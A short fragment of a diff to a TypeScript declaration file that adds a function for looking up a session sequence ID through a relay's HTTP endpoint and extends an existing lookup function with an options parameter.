+ * Resolve `seq_id` via the relay's `/api/relay-session-seq` (relay holds forge-db API key).
19
+ * Agents on remote PCs often lack `FORGE_DB_API_KEY` and cannot call forge-db directly.
20
+ */
21
+ export declare function fetchSeqIdViaRelayHttp(relayHttpBase: string, clientTableName: string): Promise<number | null>;
13
22
  /**
14
23
  * Looks up `seq_id` from forge-db `_client_registry` for this session table name (`session_id` / `table_name`).
15
24
  */
16
- export declare function fetchSeqIdForClientTableName(clientTableName: string): Promise<number | null>;
25
+ export declare function fetchSeqIdForClientTableName(clientTableName: string, opts?: FetchSeqIdOptions): Promise<number | null>;